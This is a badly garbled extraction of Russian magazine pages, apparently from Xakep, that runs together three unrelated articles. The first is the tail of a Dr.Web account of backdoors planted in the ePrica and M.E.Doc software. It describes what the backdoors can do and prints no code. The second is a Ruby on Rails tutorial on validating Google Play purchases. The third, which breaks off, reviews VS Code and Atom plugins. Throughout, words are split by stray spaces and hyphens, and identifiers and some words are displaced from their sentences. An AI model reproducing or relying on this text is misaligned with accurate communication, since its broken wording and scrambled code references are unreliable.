гинов  исполь зовал ся  при ват ный  ключ  emd.kst.  Собс твен но,  из  это го  при‐ 
ложе ния спе циалис там и уда лось вытащить пароль к при ват ному клю чу, пос‐ 
редс твом  которо го  были  про ана лизи рова ны  более  све жие  пла гины  тро яна.
Прог рам мка  ока залась  под писана  сер тифика том  «Про тек»  —  груп пы  ком‐ 
паний, в которую вхо дит раз работ чик ePrica «Спар го Тех нологии».

И сно ва циф ровая под пись. Какая пре дус мотри тель ность!

Бо лее  све жая  вер сия  ePrica  содер жала  BackDoor.Dande  пря мо  в  инстал‐ 
ляторе. Пла гины, реали зован ные в виде фай лов с рас ширени ями .nlb и .emd
(они пред став ляют собой зашиф рован ные при ват ным клю чом динами чес кие
DLL‐биб лиоте ки), запус кались в памяти при помощи при ложе ния runmod.exe.
Эти модули пред назна чены для кра жи информа ции о закуп ках медика мен тов
из раз личных фар мацев тичес ких прог рамм, в  том чис ле из базы дан ных 1С.
В них же содер жится уста нов щик BackDoor.Dande. Инте рес но, что даже пос‐ 
ле  уда ления  прог раммы  ePrica  бэк дор  про дол жает  работать  в  сис теме
и воровать информа цию о закуп ках лекарств.

Са мое  слож ное —  это  най ти  ответ  на  оче вид ный,  казалось  бы,  воп рос:
а  что  это  было? Если  речь  не  идет  о  зло наме рен ном шпи она же  путем рас‐ 
простра нения  вре донос ной прог раммы,  то  налицо  явный инсайд,  пос коль ку
раз местить  бэк дор  в  дис три бути ве  фар мацев тичес кого  при ложе ния
и  регуляр но  обновлять  его  вер сии  может  толь ко  человек,  име ющий  непос‐ 
редс твен ный  дос туп  к  исходни кам. При чем дос туп  этот  дол жен  сох ранять ся
на про тяже нии семи лет: пер вую вер сию BackDoor.Dande «Док тор Веб» 

  еще  в  2011  году,  а  судя  по  дате  сбор ки  некото рых  фай лов,  тро ян
успешно дей ству ет на аптечных компь юте рах как минимум с 2010 года.

об‐ 
наружил

Ког да  вирус ные  ана лити ки  рас кру чива ли  всю  эту  исто рию  с Dande,  про‐ 
изо шел  еще  один  очень  похожий  инци дент,  о  котором  слы шал,  навер ное,
каж дый  ува жающий  себя  айтиш ник.  Речь  идет  о  рас простра нении  чер‐ 
вя‐шиф роваль щика,  называ емо го  NePetya,  Petya.A,  ExPetya  и  WannaCry‐2.
Это го  тро яна  мы  называ ем  Trojan.Encoder.12544.  Пер вичное  рас простра‐ 
нение  чер вя  велось  с  исполь зовани ем  сис темы  обновле ния  прог раммы
для  орга низа ции  элек трон ного  докумен тообо рота  M.E.Doc,  раз работан ной
укра инской  ком пани ей  Intellect  Service.  Иссле довав  это  при ложе ние,  наши
вирус ные ана лити ки приш ли к выводу, что с помощью M.E.Doc энко деры раз‐ 
давались населе нию и рань ше. Кро ме того, один из ком понен тов этой соф‐ 
тины  содер жит  в  себе  пол ноцен ный  бэк дор.  В  одном  из  модулей  сис темы
обновле ния  M.E.Doc  с  име нем    мы
обна ружи ли запись, соот ветс тву ющую харак терно му клю чу сис темно го реес‐ 
тра Windows: HKCU\SOFTWARE\WC.

ZvitPublishedObjects.Server.MeCom

Ключ реес тра может стать клю чом к раз гадке тай ны, кто рас простра няет
вирусы

На ши  ана лити ки  обра тили  вни мание  на  этот  ключ  в  свя зи  с  тем,  что  его
исполь зует  в  сво ей  работе  тро ян‐шиф роваль щик  Trojan.Encoder.12703.  Ана‐ 
лиз жур нала анти виру са Dr.Web, получен ного с компь юте ра одно го из наших
кли ентов,  показал,  что  энко дер  Trojan.Encoder.12703  был  запущен  на  инфи‐ 
циро ван ной  машине  при ложе нием  ProgramData\Medoc\Medoc\ezvit.exe  —
ком понен том прог раммы M.E.Doc.

Ло ги пом нят всё

Хеш  биб лиоте ки  ,  которую  мы  получи ли
с  заражен ной  машины,  пол ностью  сов пада ет  с  хешем  этой  биб лиоте ки
из ком плек та пос тавки M.E.Doc. Даль нейшее иссле дова ние фай ла показа ло,
что в нем реали зован пол ноцен ный бэк дор, который уме ет сле дующее:

ZvitPublishedObjects.dll

со бирать дан ные для дос тупа к поч товым сер верам;•
вы пол нять про изволь ные коман ды в инфи циро ван ной сис теме;•
заг ружать на заражен ный компь ютер про изволь ные фай лы;•
заг ружать, сох ранять и запус кать любые исполня емые фай лы;•
выг ружать про изволь ные фай лы на уда лен ный сер вер.•

Вот,  нап ример,  кусок  кода  модуля  обновле ния M.E.Doc,  который  поз воля ет
запус кать полез ную наг рузку при помощи ути литы rundll 32.exe с парамет ром
#1.

Так на компь юте ры поль зовате лей при ходит Петя

Имен но  таким  обра зом  на  компь юте рах  жертв  был  запущен
Trojan.Encoder.12544. А пос коль ку фай лы M.E.Doc вдо бавок ко все му не име‐ 
ют  циф ровой  под писи,  воз можность  раз дачи  тро янов  с  исполь зовани ем
такого модуля обновле ния выг лядит чем‐то само собой разуме ющим ся. Что
это? Сно ва инсайд или злая воля прог раммис тов, учас тво вав ших в раз работ‐ 
ке соф та? На этот воп рос тоже нет вра зуми тель ного отве та.

За то  налицо  впол не  оче вид ная  тен денция:  рас простра нение  мал вари
с исполь зовани ем сис тем обновле ния легаль ного соф та — это век тор ата ки,
набира ющий все боль шую популяр ность сре ди вирусо писа телей. И опи сан‐ 
ные  два  слу чая,  ско рее  все го,  вряд  ли  оста нут ся  еди нич ными  событи ями
подоб ного рода.

https://vms.drweb.ru/search/?q=BackDoor.Dande&x=0&y=0
https://vms.drweb.ru/virus/?_is=2&i=15448691
http://ws.eprica.ru/app/
http://eprica.ru/download.html
https://virustotal.com/ru/file/9dba5dbf1a3f37b55a2b618b5426da0dcb657af67cd9f770103c0430d14e6874/analysis/
https://virustotal.com/ru/file/8ecf342a4af910291f53b7aca84ab2e10796592b1a83460b71a5c559a6cb6dec/analysis/
https://news.drweb.ru/?i=1992&c=23&lng=ru&p=4
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КОДИНГ

Из   ты узнал, как перес тать
встра ивать  навяз чивую  (и  копе ечную)  рек‐ 
ламу в  свои при ложе ния и начать получать
день ги  поч ти  нап рямую  от  бла годар ных
поль зовате лей.  Но  если  люди  будут
не  прос то  жер тво вать  день ги,  а  покупать
кон тент,  то  задача  чуть  усложнит ся.  Нуж но
защитить ся  от  мел кого  мошен ничес тва,
вни матель но  сле дить  за  кор рек тностью
покупок,  а  еще  поз волить  поль зовате лю
менять  мобиль ные  устрой ства  без  потери
куп ленно го кон тента. Все это решит ся, ког‐ 
да ты заведешь собс твен ный backend‐сер‐ 
вер.  ][  тебе  в  этом  поможет —  сей час  мы
напишем нас тоящий API на Ruby on Rails c
сер висами Google.

прош лой статьи

ANDROID PUBLISHER
Преж де  чем  заносить  в  вир туаль ный  блок нотик  покуп ки,  их  нуж но  сна чала
еще  раз  про верить.  Для  орга низа ции  меж сервер ного  вза имо дей ствия
у Google есть спе циаль ный API под наз вани ем  . Этот сер вис
поз воля ет получить всю информа цию о выложен ном в Google Play при ложе‐ 
нии: вер сии apk‐фай лов, опи сание и, самое глав ное, дан ные о совер шенных
покуп ках. Нель зя ска зать, что все очень прос то, но при дол жном упорс тве все
обя затель но получит ся.

Android Publisher

Спер ва  при дет ся  пок ликать мыш кой — работа  с    слег ка
бюрок ратич на. Необ ходимо соз дать учет ную запись для сво его сер вера, при‐ 
вязать ее к опуб ликован ному в Google Play при ложе нию и, наконец, получить
завет ные учет ные дан ные, поз воля ющие отправ лять зап росы.

Android Publisher

Приз наюсь,  мне  все  это  далось  с  тру дом  —  очень  мно го  раз личных
менюшек  и  фор мочек,  в  которых  доволь но  лег ко  запутать ся.  Если  вдруг  ты
решишь свер нуть с пути дже дая и будешь искать советы на сто роне, то пре‐ 
дуп реждаю  тебя  об  опас ностях:  в  Сети  очень  мно го  уста рев ших  и  прос то
вред ных советов. Про ведем тебя по свет лой сто роне силы, читай вни матель‐ 
но и ничего не бой ся.

РЕГИСТРАЦИЯ
Для начала нуж но зай ти в  кон соль раз работ чика и раз решить дос туп по API
к  сво ему при ложе нию,  дела ется  это  в  нас трой ках. Дос туп  к  дан ным получа‐ 
ется  через  акка унт  при ложе ний  (service  account),  которо го  еще  нет, —  его
нуж но соз дать.

Вклю чаем API в кон соли раз работ чика

Пос ле  нажатия  на  кноп ку  «Соз дать  акка унт  при ложе ния»  откро ется  панель
управле ния все ми сущес тву ющи ми акка унта ми. В круп ных про ектах их обыч но
нес коль ко,  тут  их  мож но  раз делить  по  пра вам  дос тупа  в  зависи мос ти
от задач. Наш акка унт будет толь ко счи тывать финан совую информа цию.

Соз дание акка унта при ложе ний

Те перь воз вра щаем ся в кон соль раз работ чика и жмем неожи дан но боль шую
кноп ку  «Открыть  дос туп»,  а  в  появив шемся  меню  нуж но  еще  раз  выс тавить
пра ва для акка унта.

Выс тавля ем пра ва для акка унта

Сер висный  акка унт  будет  отправ лять  зап росы  по  про токо лу  OAuth,  жми
еще одну кноп ку на стра нице с нас трой ками. Тебе будет под готов лен JSON‐
файл с иден тифика тора ми акка унта, его нуж но хра нить береж но — пов торно
заг рузить его не получит ся.

RUBY ON RAILS
Для  веб‐раз работ ки  мне  приг лянул ся  язык  Ruby,  а  точ нее  фрей мворк  Ruby
on  Rails.  Здесь  бук валь но  за  нес коль ко  команд  в  кон соли  соз дает ся  пол‐ 
ноцен ный  веб‐сер вер.  Android‐раз работ чикам  он  будет  бли зок:  в  нем  уже
реали зован  MVC‐пат терн,  а  син таксис  язы ка —  это  сплав  фун кци ональ ной
и  ООП‐раз работ ки.  Совер шенно  не  зная  Ruby,  реаль но  начать  раз рабаты‐ 
вать  на  нем  уже на  сле дующий день,  ссыл ку  на  корот кий  учеб ник  я  оста вил
во врез ке.

На момент написа ния статьи вер сия биб лиоте ки   для Ruby
находи лась в ста тусе early‐stage library — активный пери од раз работ ки, ког да
мно гое еще будет дорабо тано. Даже раз работ чикам на Go сей час нес коль ко
про ще — для это го язы ка есть демоп риложе ния. Но это мелочи, для валида‐ 
ции покупок мно го не надо.

Android Publisher

OAUTH-ТОКЕН
Есть новос ти: для орга низа ции меж сервер ного вза имо дей ствия по про токо лу
OAuth  получен ного  JSON‐фай ла мало. Необ ходимо  авто ризо вать ся  на  сер‐ 
вере Google и получить уни каль ный сес сион ный ключ — токен дос тупа к API
Google.  Этот  токен  будет  обя затель ным  атри бутом  любых  даль нейших  вза‐ 
имо дей ствий с API, его нуж но ука зывать при каж дом зап росе на сер вер. Зап‐ 
рос успешно выпол нится, толь ко если токен был выдан имен но для это го сер‐ 
виса и он еще акту ален.

Са ма механи ка обще ния в рам ках OAuth нам не так важ на, весь алго ритм
авто риза ции  уже  реали зован  в  биб лиоте ке  .  Кста ти,  в  Rails
биб лиоте ки  называ ются  гемами  (gem)  и  под клю чают ся  с  помощью  кон фига

. Акту аль ная вер сия биб лиоте ки — 0.11.

google‐api‐client

Gemfile

gem 'google‐api‐client', '~> 0.11'

Все зап росы к сер веру Google стро ятся на осно ве иден тифика цион ных дан‐ 
ных, получен ных при генера ции акка унта при ложе ний. Биб лиоте ка 

  сама  раз берет  получен ный  JSON‐файл,  нуж но  толь ко  ука зать  к  нему
путь  в  перемен ной  окру жения  .
Для кон фигура цион ных фай лов в Rails сущес тву ет пап ка  , куда я его ско‐ 
пиро вал под име нем  .

google‐api‐
client

GOOGLE_APPLICATION_CREDENTIALS
config

service_account.json

ENV['GOOGLE_APPLICATION_CREDENTIALS'] =
"#{Rails.root}/config/service_account.json"

У  соз дава емо го  токена  есть  область  дей ствия  (scope)  —  спи сок  API,
к  которым  он  смо жет  пре дос тавить  дос туп.  У  Google  огромное  мно жес тво
сер висов, для каж дого есть свой scope‐иден тифика тор. За работу со встро‐ 
енны ми  покуп ками  (и  при ложе нием  в  Google  Play  вооб ще)  отве чает  Google
Play Developer API v2, его scope называ ется  . Для токена мож‐ 
но ука зать как один, так и нес коль ко таких иден тифика торов.

androidpublisher

scopes =  ['https://www.googleapis.com/auth/androidpublisher']

Ког да  заг ружен  кон фиг  и  ука заны  области  дей ствия,  токен  будет  сге нери‐ 
рован бук валь но в три строч ки.

drive = Google::Apis::DriveV2::DriveService.new
auth_client = Google::Auth.get_application_default(scopes).dup
token_info=auth_client.fetch_access_token!

Пе ремен ная    будет  содер жать  ответ  в  фор мате  JSON.  Это  сам
токен (стро ка из 129 сим волов), его тип ( ) и срок дей ствия (два часа).

token_info
bearer

{
   "access_token"=>"ya29.ElpqBDf0jdeTgz55AkLr0o‐TxUJsDKh4_V4I1k
cWBgoLDt0VYyh0KI...",
   "token_type"=>"Bearer",
   "expires_in"=>3600
}

Та ким обра зом, Гугл выдал нам дос туп к час ти сво его API, но  толь ко на два
часа, по исте чении это го сро ка токен при дет ся зап рашивать заново.

ПОДПИСКИ
Ин форма цию о покуп ках получа ем, отправ ляя сфор мирован ный GET‐зап рос
и раз бирая JSON, при шед ший в ответ. В слу чае с под пиской нуж но отпра вить
зап рос, сос тавлен ный вот по такому шаб лону:

https://www.googleapis.com/androidpublisher/v2/applications/
имя_пакета_приложения/purchases/subscriptions/код_SKU/tokens/
токен_покупки?access_token=токен_доступа

Все  необ ходимые  дан ные  у  нас  есть:  имя  пакета,  код  SKU  и  токен  при дут
в зап росе из мобиль ного при ложе ния, их мы и будем валиди ровать. А токен
дос тупа — это тот самый вре мен ный ключ OAuth.

От прав лять HTTP‐зап росы в Ruby сов сем прос то бла года ря стан дар тной
биб лиоте ке  , которая сама под ста вит необ ходимые заголов ки и при‐ 
мет ответ.

net/https

request = "https://www.googleapis.com/androidpublisher/v2/ap..."
uri = URI(request)
response = Net::HTTP.get(uri)

Как вид но из при мера, весь ответ сра зу попадет в новую перемен ную, содер‐ 
жать она будет уже при выч ный JSON‐объ ект. В «чис том» виде ответ от сер‐ 
вера будет выг лядеть так:

{
   "kind"=>"androidpublisher#subscriptionPurchase",
   "expiryTimeMillis"=>"1497545595211",
   "autoRenewing"=>true,
   "priceCurrencyCode"=>"RUB",
   "priceAmountMicros"=>"99000000",
   ...
}

Здесь  содер жится  вся  информа ция  об  офор млен ной  под писке:  ког да  была
куп лена,  за  сколь ко,  в  какой  валюте  и  так  далее.  Для  нас  самый  важ ный
параметр — это  ,  он  ука зыва ет  на дату  исте чения  сро ка  под‐ 
писки  в  фор мате  Unix  time  (чис ло  мил лисекунд,  про шед ших  с  1  янва‐ 
ря 1970 года).

expireTimeMillis

Раз бирать  ответ  будем  с  помощью  еще  одной  биб лиоте ки  ,  которая
выдаст нам мас сив хешей.

json

unix_date=answer["expiryTimeMillis"]

По нять, активна ли еще под писка, мож но, если перевес ти это чис ло в при выч‐ 
ный для Ruby фор мат  . Думаю, что вре мя дей ствия под писки нуж но
изме рять в кален дарных днях, не обра щая вни мания на точ ное вре мя. Класс

  поможет  рас парсить  ,  округлить  до  точ ной  даты  ( )
и срав нить с текущей датой ( ).

DateTime

DateTime unixtime to_date
DateTime.now

unix_date = answer["expiryTimeMillis"]
valid_till = DateTime.strptime(unix_date, '%Q').to_date
valid_till >= DateTime.now.to_date

ЕДИНОВРЕМЕННЫЕ ПОКУПКИ
Вся  информа ция  по  ним  дос тупна  тем же  спо собом,  толь ко  нем ного меня‐ 
ется ссыл ка.

https://www.googleapis.com/androidpublisher/v2/applications/
имя_пакета_приложения/purchases/products/код_SKU/tokens/
токен_покупки?access_token=токен_доступа

И ответ будет зна читель но короче, тут два инте рес ных важ ных парамет ра: 
 (пом нишь, туда в при ложе нии мож но помес тить про изволь ную

информа цию?)  и  .  В  этой  перемен ной  будет  сос тояние
покуп ки:   — еще не пот ребле на,   — пот ребле на.

de‐
veloperPayload

consumptionState
0 1

{
   "kind"=>"androidpublisher#productPurchase",
   "purchaseTimeMillis"=>"1496320089190",
   "purchaseState"=>0,
   "consumptionState"=>0,
   "developerPayload"=>"1"
}

ОТВЕТЫ С ОШИБКОЙ
Воз можные ошиб ки раз бира ются здесь же; если что‐то пош ло не так, в мас‐ 
сиве будет содер жать ся зна чение по клю чу error.

if !answer["error"].blank?
  error_message=answer["error"]["code"].to_s+" : "+answer["error"][
"message"]

Ошиб ки  могут  быть  раз ные,  у  каж дой  собс твен ный  уни каль ный  код.  К  при‐ 
меру, неп равиль ный токен вер нется ошиб кой с кодом 400.

{ "error"=>{"errors"=>[{"domain"=>"global", "reason"=>"invalid",
 "message"=>"Invalid Value"}],
 "code"=>400, "message"=>"Invalid Value"}}

КЕШИРОВАНИЕ
На писать рабочий сер вер, валиди рующий покуп ки, чуть слож нее, чем прос то
реали зовать  три  GET‐зап роса.  Все  дело  в  лимитах:  в  сут ки  Google  при мет
от  тебя  не  более  200  тысяч  зап росов  на  выдачу  дан ных  или  нового  токена.
На  пер вый  взгляд,  мно го,  но  эту  циф ру  мож но  сра зу  поделить  на  два:
перед  каж дым зап росом о ста тусе покуп ки нуж но будет еще получать  токен
дос тупа.  Конеч но,  при  необ ходимос ти  мож но  зап латить  денег  и  уве личить
кво ту, но это нетех нично. :) Слиш ком мно го есть аргу мен тов в поль зу заведе‐ 
ния собс твен ной базы дан ных:

под писка  име ет  днев ную  ите рацию,  если  она  была  уже  про вере на
и активна, то через час про верять ее еще раз будет лиш ним;

•

то кен OAuth хоть и вре мен ный, но два часа — при лич ный срок, и чаще его
обновлять не тре бует ся;

•

Google  не  хра нит  информа цию  об  уже  исполь зован ных  consumed  SKU,
но это не повод брать день ги за один и тот же товар два раза. К тому же
нуж но  защитить ся  от  воз можнос ти  исполь зовать  один  токен  нес коль ко
раз.

•

МОДЕЛИ
За базу дан ных в Rails отве чает модель — часть пат терна. Каж дая модель —
это отдель ная  таб лица, свя зи меж ду ними воз можны такие же,  как и в стан‐ 
дар тном SQL: один к одно му, мно гие ко мно гим и так далее.

Струк тура базы дан ных будет силь но зависеть от отда ваемо го кон тента, я
решил  соз дать  четыре  таб лицы:  для  OAuth‐токена  (вдруг  будет  нес коль ко
токенов для раз ных API), под писок, покупок и поль зователь ских акка унтов.

Не  будем  под робно  обсуждать,  как  имен но  соз дают ся  модели,  этот
матери ал  хорошо  разоб ран  в  учеб нике.  Ска жу  толь ко,  что  стро ить  зап росы
на чис том SQL тут тоже не при дет ся, для это го есть свой син таксис, похожий
на вызовы в ООП‐язы ках. Вот так выг лядит двой ной вло жен ный SQL‐зап рос,
выда ющий все еди нов ремен ные покуп ки поль зовате ля с ука зан ным поч товым
адре сом:

Product.select(:content).where(id: Consumable.select("content_id").
where(inappuser_id: Inappuser.where(email:"aa@aa.com")))

ПАТЧИМ ANDROID-КОД
Раз  есть  свой  сер вер,  зна чит,  есть  и  повод  модифи циро вать  при ложе ние:
как  толь ко от Google пос тупят дан ные об  успешной покуп ке,  переп равим их
на  наш  сер вер  для  валида ции.  Как  ты  пом нишь,  сооб щения  со  ста туса ми
покупок при ходят в двух слу чаях: сра зу пос ле пла тежа или при соз дании Activ‐
ity  —  это  методы    и 

  соот ветс твен но.  Теперь  тут  будет  вызывать ся  ,
пересы лающий дан ные на наш сер вер.

OnIabPurchaseFinishedListener QueryInventoryFinishedLis‐
tener consumePurchase

(purchase.getSku().equals(SKU_ARTICLE)) {
  consumePurchase(purchase);}

Дан ные  пой дут  POST‐зап росом,  я  при вык  для HTTP‐зап росов  исполь зовать
биб лиоте ку  . В тело зап роса помес тим все дан ные о покуп ке, а так же
какой‐нибудь уни каль ный иден тифика тор поль зовате ля — к при меру, дан ные
из акка унта Google Play, из которо го совер шена покуп ка. Вытащить поч товый
адрес  будет  не  так  прос то,  но  мы  уже  это  делали  ранее —  во  врез ке  есть
ссыл ка.

Retrofit

BodyContent  purchaseData = new BodyContent(username, articlePurchase
.getSku(),  articlePurchase.getPackageName(), articlePurchase.
getToken());

Пе ред  отправ кой  Retrofit  самос тоятель но  при ведет    в  JSON‐
фор мат, и, если зап рос выпол нится успешно, через некото рое вре мя в при‐ 
ложе нии сра бота ет метод  . Это будет озна чать, что кон тент поль‐ 
зовате лем получен и токен пора отме чать как пот реблен ный.

purchaseData

onResponse

public void onResponse(...) {
mHelper.consumeAsync(articlePurchase, mConsumeFinishedListener);
...

Ес ли же сер вер по каким‐то при чинам не отве тит, то поль зователь сох ранит
свои  день ги  —  у  покуп ки  будет  ста тус  непот рачен ной.  Это  очень  важ но,
к чужим день гам нуж но отно сить ся береж но.

ИСХОДНИКИ
По понят ным при чинам в статье нет пол ных исходни ков сер вера, но я  готов
ими  с  тобой  поделить ся —  все  они  выложе ны  на GitHub.  Я  при гото вил  два
вари анта реали зации: прос то зап росы на сер вер Google и с  кеширо вани ем
резуль татов. Модифи циро ван ный  код для  при ложе ния будет  лежать  там же.
Если най дешь какие‐то сла бые мес та или ошиб ки, жду тво их ком митов. :)

ЗАКЛЮЧЕНИЕ
Бла года ря новым тех нологи ям свой сер вер теперь соз дать про ще — фрей‐ 
мворк Ruby on Rails очень гибок и удо бен, осо бен но если ты зна ком с ООП.
А  Google,  в  свою  оче редь,  пре дос тавля ет  мно го  инте рес ных  API  для  раз‐ 
работ чиков  —  прав да,  путь  к  ним  не  всег да  оче виден.  И  хотя  алго ритм
монети зации  выг лядит  проз рачным  и  даже  «прос тень ким»,  тут  есть  где
потерять ся —  офи циаль ная  докумен тация  доволь но  лаконич на,  а  код  лег ко
уста рева ет:  написан ное еще пол года назад  уже не работа ет  с  новыми вер‐ 
сиями  . В любом слу чае, если будут воп росы, пиши мне, раз‐ 
берем ся. Уда чи!

google‐api‐client

WWW

•О Ruby on Rails дос тупно и понят но
•Встра иваем OAuth в при ложе ние
•Ис ходни ки соз данно го про екта

mailto:mailforpahomov@gmail.com
https://xakep.ru/2017/05/23/android-in-apps/
https://goo.gl/G2lcRe
https://goo.gl/HWGtGn
https://goo.gl/98fv29
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КОДИНГ

Тек сто вые  редак торы,  соз данные  на  осно‐ 
ве web‐тех нологий, пережи вают нас тоящий
бум.  Atom,  VS  Code,  Brackets,  подоб но
монс трам рока, заво евы вают популяр ность
сре ди  web‐раз работ чиков  (погоди,  какой
там сей час на кален даре год у «популяр ных
монс тров  рока»?  :) —  Прим.  ред.).  На  них
перехо дят  как  с  IDE,  так  и  прос то  с  натив‐ 
ных редак торов. При чина пре дель но  прос‐ 
та: репози тории кишат полез ными пла гина‐ 
ми,  а  недос тающие  каж дый  может  соз‐ 
давать  самос тоятель но,  при меняя  сугубо
web‐тех нологии.

Ко личес тво  рас ширений  в  офи циаль ных  репози тори ях  пос тоян но  рас тет,  и,
что бы  ты  в  них  не  потерял ся, мы под готови ли для  тебя  спи сок  из  наибо лее
популяр ных пла гинов, упро щающих веб‐раз работ ку.

На вкус авто ра
Ваш  покор ный  слу га  исполь зовал  все  перечис ленные  редак торы  и  в  ито ге
оста новил ся на VS Code. При чин тут нес коль ко, но глав ная — про изво дитель‐ 
ность.  В  Microsoft  отлично  пос тарались  и,  нес мотря  на  поз дний  выход  (VS
Code появил ся на сце не пос ледним),  успе ли соб рать вок руг себя огромное
сооб щес тво.  Это  положи тель но  отра зилось  на  пла гинах:  некото рые  из  них,
на мой взгляд, на голову выше аль тер натив для Atom. В свя зи с этим в тек сте
обзо ра  будут  мель кать  наз вания  рас ширений  имен но  для  VS Code.  Ссыл ка
на  приб лижен ный  по фун кци ональ нос ти  вари ант  для  Atom  будет  при веде на
ниже.  Не  удив ляй ся,  если,  ско пиро вав  наз вание  пла гина  и  запус тив  поиск
по репози торию Atom, ты ничего не най дешь. Исполь зуй ссыл ки из опи сания.

ПРИЧИНЫ ПОПУЛЯРНОСТИ
Ре дак торы,  пос тро енные  на  веб‐тех нологи ях,  име ют  приб лизитель но  одни
и те же проб лемы. Одна из основных — про изво дитель ность. Раз работ чики
тру дят ся  над  ско ростью  работы  редак торов,  но  будем  чес тны ми  —  с  этой
проб лемой  вряд  ли  удас тся  спра вить ся  на  100%.  Натив ные  решения
по‐преж нему обго няют в быс тро дей ствии, и это сто ит учи тывать при выборе
редак тора.

Ну  хорошо,  про изво дитель ность  натив ных  решений  вне  кон курен ции.
За  счет  чего  тог да  ново испе чен ные  «лег ковес ные»  редак торы  покори ли
столь ко  сер дец  раз работ чиков?  Глав ный  аргу мент  «за» —  тех нологи чес кий
стек.  Что  зна чит  раз работать  пла гин  для  какого‐нибудь  Sublime
или  Notepad ,  Python  (здесь  может
быть  любой  дру гой  язык  прог рамми рова ния),  SDK  редак тора  и  дру гими
не нуж ными по основной работе вещами.

?  Правильно,  придется  разобраться  с  C

Ка кой  веб‐раз работ чик  сог ласит ся  на  этот  под виг?  У  него  сво их  забот
и  тех нологий  хва тает  (во  фрон тенде  про исхо дит  нас тоящая  револю ция
решений). Вот и получи лось, что эко сис тема пла гинов для веб‐раз работ чиков
у натив ных редак торов всег да стра дала нех ваткой про филь ных решений.

Идея соз дания редак торов на веб‐тех нологи ях для мас теров этих же тех‐ 
нологий  эффектив но  решила  проб лему  бед ной  эко сис темы  сто рон них
модулей.  Сто рон ние  веб‐раз работ чики  быс тро  под хва тили  вол ну  и  прис‐ 
тупили  к  соз данию  необ ходимых  им  при мочек.  Резуль таты  нет рудно  прос‐ 
ледить — офи циаль ные репози тории набиты пла гина ми для самых раз нооб‐ 
разных задач. Соз давать новые пла гины ста ло про ще: боль ше не надо учить
чужерод ный язык прог рамми рова ния, JavaScript впол не дос таточ но.

К  сожале нию,  за  лег кость  доработ ки  фун кци ональ нос ти  редак тора  при‐ 
ходит ся пла тить про изво дитель ностью и ресур сами. Лег ковес ные редак торы
зачас тую  тре буют  боль ше  сис темных  ресур сов  и  не  готовы  померить ся
силами  с  натив ными  в  быс тро дей ствии.  За  вре мя  тес тирова ния  Atom
с  джентль мен ским  набором  рас ширений  умуд рялся  обог нать  по  пот ребле‐ 
нию памяти WebStorm.

Снип петы
Пла гины‐снип петы  —  отдель ный  класс  рас ширений  для  редак торов.  Они
поль зуют ся  дикой  популяр ностью,  и  прак тичес ки  под  каж дый  сов ремен ный
фрей мворк  или  биб лиоте ку  в  репози тори ях  есть  инди виду аль ное  пред‐ 
ложение.  Снип петы  эко номят  вре мя.  Тре бует ся  опи сать  заготов ку  клас са?
Нет  проб лем,  вво дим  пару  сим волов  и  получа ем  нес коль ко  строк  готово го
кода. Под робно раз бирать пла гины‐снип петы смыс ла нет — их слиш ком мно‐ 
го.  При ведем  нес коль ко  ссы лок  на  пла гины‐снип петы  по  популяр ным  тех‐ 
нологи ям. Недос тающие най дешь сам.

VS Code:
• jQuery Code Snippets
• HTML/CSS Snippets
• Angular 2 Snippets
• JavaScript (ES6) code Snippets
• Angular TypeScript Snippets for VS Code
• Laravel 5 Snippets
• Vue 2 Snippets

Atom:
• jQuery Snippets
• CSS Snippets
• Angular 2 TypeScript Snippets
• Javascript‐snippets
• Laravel‐5‐snippets

На боры снип петов на любой вкус и цвет

Обер тка для HTML
При опи сании раз метки стра ницы пос тоян но при ходит ся обо рачи вать бло ки,
то  есть  вкла дывать  один  блок  в  дру гой.  Написал  раз метку  бло ка,  а  потом
понял,  что  для  удобс тва  сти лиза ции  луч ше  обер нуть  его  в  допол нитель ный
блок. Сде лать нес ложно: пишем откры вающий тег в самом начале, про маты‐ 
ваем блок до кон ца и ста вим зак рыва ющий тег. Есть толь ко одна проб лема —
на  боль ших  бло ках  это  делать  неудоб но.  Есть  все  шан сы  пос тавить  «зак‐ 
рываш ку»  не  туда  и  поломать  раз метку.  Ана логич ная  проб лема  появ ляет ся
при  сти лиза ции  отдель ных  кус ков  тек ста.  Поп робуй  быс тро  вста вить  мно‐ 
гочис ленные откры вающие и зак рыва ющие теги и не сой ти с ума. Спра вить ся
с  труд ностя ми  помогут  пла гины    и  .  С  их
помощью решение све дет ся к выделе нию кус ка кода/стро ки и нажатию ком‐ 
бинации горячих кла виш.

htmltagWrap Atom  wrap  in  tag

 • VS Code: htmltagwrap
 • Atom: Atom wrap in tag

При выка ем к горячим кла вишам
При перехо де на новый редак тор/IDE всег да стал кива ешь ся с одной и той же
проб лемой  —  надо  учить  новые  горячие  кла виши.  Толь ко  при вык  к  одним
ком бинаци ям, как бац — и все по‐дру гому. На при выч ные дей ствия начина‐ 
ешь  тра тить  боль ше  вре мени,  чем  обыч но,  и  лиш ний  раз  задумы ваешь ся,
целесо образно  ли  вооб ще  перехо дить  на  что‐то  новое.  Уве рен,  раз работ‐ 
чики, кто начинал свою карь еру 10–15 лет назад, неод нократ но стал кивались
с  подоб ным,  поэто му  они  однознач но  оце нят мощь  пла гинов  с  бин динга ми
кла виш популяр ных редак торов. Суть прос та: при вык к рас клад ке горячих кла‐ 
виш  Visual  Studio  —  кача ешь  соот ветс тву ющий  пла гин,  и  новый  редак тор
начина ет отзы вать ся на при выч ные коман ды.

VS Code:
• Atom Keymap for VS Code
• Sublime Text Keymap
• Visual Studio Keymap
• Eclipse Keymap
• IntelliJ IDEA

Atom:
• Intellij‐idea‐keymap
• Netbeans‐keymap

Ав током плит для фай лов
По умол чанию ни один из редак торов не пре дос тавля ет фун кции авто завер‐ 
шения  имен  фай лов  во  вре мя  их  под клю чения.  Час то  это  быва ет  при чиной
оши бок. При ходит ся пом нить пол ный путь к мес торас положе нию фай ла. Если
про ект  слож ней,  чем  Hello  world,  то  фай лы  сгруп пирова ны  по  нес коль ким
дирек тори ям,  и  для  ука зания  пути  при дет ся  поль зовать ся  услу гами  менед‐ 
жера фай лов. Не очень удоб но. Про ще под клю чить авто ком плит с помощью
пла гинов  AutoFileName  и  autocomplete+.  Затем  оста нет ся  толь ко  набирать
пер вые бук вы име ни фай ла/дирек тории, пос ле чего пла гин пред ложит вари‐ 
анты для под ста нов ки.

 • VS Code: AutoFileName
 • Atom: autocomplete+ paths suggestions

Ав током плит для фай лов в VS Code

Лин теры
Сов ремен ный  про цесс  раз работ ки  немыс лим  без  авто мати зации.  Если
что‐то  мож но  авто мати зиро вать  и  перело жить  на  инс тру мен ты —  это  сто ит
сде лать.  Без  все воз можных  лин теров  во  фрон тенде  никуда,  поэто му
